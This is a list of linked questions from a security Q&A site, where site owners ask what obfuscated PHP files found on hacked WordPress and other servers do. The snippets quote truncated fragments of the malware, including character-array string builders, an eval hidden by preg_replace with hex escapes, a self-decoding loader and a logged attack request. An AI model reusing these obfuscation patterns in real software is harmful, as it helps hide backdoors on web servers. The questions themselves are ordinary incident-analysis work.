Linked Questions

0
votes
1answer
117 views

What does the attached php malware do? [duplicate]

Found this on a WordPress server under the filename wp-includes/class-wp-image-editor-fd.php when WordFence picked it up as being an unexpected file. Link to source is here: https://pastebin.com/...
0
votes
1answer
143 views

What does this malware php file does and what should be done about it? [duplicate]

Can someone please help me understand this code, what it does and what kind of encoding is it? Can this be automatically removed through ssh (there are many, many more similar files found). <?php $...
0
votes
1answer
292 views

Is this strange PHP file that I found on my server malicious? [duplicate]

I found a PHP file that I don't know where it came from on my server: <?php $ojcsoo = '_-bHft\'dik1x6cn9leapm0y4s7vg5*r8ou#2';$zjdtjcd = Array();$zjdtjcd[] = $ojcsoo[3].$ojcsoo[29];$zjdtjcd[] = $...
0
votes
1answer
332 views

Execution of PHP function's through HTTP GET request by hacker [duplicate]

We are continuously receiving following requests on our apache server from the hackers ?1=@ini_set(%22display_errors%22,%220%22);@set_time_limit(0); @set_magic_quotes_runtime(0);echo%20'-%3E%7C';...
0
votes
1answer
450 views

Strange PHP file found on web server [duplicate]

I've found a very strange PHP file with a very long regexp in a customer web server. The file is named 'god.php', and this is their content: <?php preg_replace("/.*/e", "\x28\x65\x76\x61\x6C\x28\...
-3
votes
1answer
841 views

I need to decode this suspicious code and explain what it is doing? [duplicate]

$llkas = '-tl#o3s1vnHr_ue*2b\'8c6mx9fya0ip47kgd'; $spvgazs = Array(); $spvgazs[] = $llkas[10].$llkas[15]; $spvgazs[] = $llkas[19].$llkas[19].$llkas[16].$llkas[16].$llkas[27].$llkas[27].$...
2
votes
0answers
55 views

What can be done to decode/recover encoded PHP files? [duplicate]

We had a former employee handling one of our servers where XAMPP was used to host some PHP based websites. Now that employee left the organization due to some management issues. Yesterday we needed ...
1
vote
0answers
67 views

What's the point of this php shell? [duplicate]

What is the point of this shell code? There is no other code in the file. @preg_match_all("/\t \t(.+)\t\t/Ui",@file_get_contents(__FILE__),$r); $w="";foreach($r[1] as $v){@$w.=@chr(@strlen($v));} $e=...
1
vote
0answers
38 views

Found possible malware code on site - contacted owner - what does it do? [duplicate]

Small question. I'm trying to figure out what a piece of code does that I came across on a website I visited. The website has obviously been hacked into, as there's a bunch of minified PHP code up ...
1
vote
0answers
143 views

Obfuscated PHP code found in WordPress core files and plugins [duplicate]

I am running a Wordpress website and I've recently found this php code injected in many of my php files. https://www.unphp.net/decode/fb4715ee71b28135f6807389df42611c/ I tried adding some print_r(...
1
vote
0answers
60 views

Bizarre php file appeared in the image gallery folder of my website [duplicate]

Can anyone tell what this is or how it could possibly have made it to the image gallery folder of my website? It appears to be a bunch of variable definitions. Mind you that a period "." is the concat ...
0
votes
0answers
22 views

I found this code in my wp-content/uploads/woocommerce_uploads/wp-user-new.php [duplicate]

<?php function Gljng($ZOege, $INLWC = '') { $X_6Nm = $ZOege; $v9BZR = ''; for ($hfEHR = 0; $hfEHR < strlen($X_6Nm);) { for ($SsuGo = 0; $SsuGo < strlen($INLWC) && $hfEHR < ...
0
votes
0answers
58 views

How can I tell is the hidden PHP code inside of a GIf file is dangerous? [duplicate]

I'm helping out a friend with a PHP website he has been running for a few years. He is not PHP developer, so he asked if I could help him out. I download the contents of the server files onto my ...
0
votes
0answers
38 views

Hacking attempts to our server - what does this code do? [duplicate]

Every so often I go back and check our server and find random files uploaded to the domain root directory. They are seemingly cryptic and have names like css2.php db_model.php ....
0
votes
0answers
58 views

Found suspicious, obfuscated PHP file. I assume this is a successful hack on my website? Can anyone tell me what this code is doing? [duplicate]

Found suspicious, obfuscated PHP file. I assume this is a successful hack on my website? Can anyone tell me what this code is doing? fuifsaat.php <?php $hereto= '](^';$canon =':';$heroine= '(rp:L'...

15 30 50 per page